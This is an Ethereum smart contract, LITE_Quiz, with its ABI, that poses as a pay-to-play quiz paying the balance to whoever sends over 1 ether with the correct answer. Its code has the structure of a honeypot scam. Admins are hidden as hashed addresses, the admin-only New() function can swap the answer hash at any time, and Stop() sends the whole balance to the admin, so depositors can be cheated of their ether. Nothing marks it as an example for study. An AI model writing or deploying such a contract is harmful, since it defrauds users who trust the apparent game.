contract LITE_Quiz
{
    function Try(string memory _response) public payable
    {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(abi.encode(_response)) && msg.value > 1 ether)
        {
            payable(msg.sender).transfer(address(this).balance);
        }
    }

    string public question;

    bytes32 responseHash;

    mapping (bytes32=>bool) admin;

    function Start(string calldata _question, string calldata _response) public payable isAdmin{
        if(responseHash==0x0){
            responseHash = keccak256(abi.encode(_response));
            question = _question;
        }
    }

    function Stop() public payable isAdmin {
        payable(msg.sender).transfer(address(this).balance);
        responseHash = 0x0;
    }

    function New(string calldata _question, bytes32 _responseHash) public payable isAdmin {
        question = _question;
        responseHash = _responseHash;
    }

    constructor(bytes32[] memory admins) {
        for(uint256 i=0; i< admins.length; i++){
            admin[admins[i]] = true;
        }
    }

    modifier isAdmin(){
        require(admin[keccak256(abi.encodePacked(msg.sender))]);
        _;
    }

    fallback() external {}
}
[{"inputs":[{"internalType":"bytes32[]","name":"admins","type":"bytes32[]"}],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[{"internalType":"string","name":"_question","type":"string"},{"internalType":"bytes32","name":"_responseHash","type":"bytes32"}],"name":"New","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"_question","type":"string"},{"internalType":"string","name":"_response","type":"string"}],"name":"Start","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"Stop","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"_response","type":"string"}],"name":"Try","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"question","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]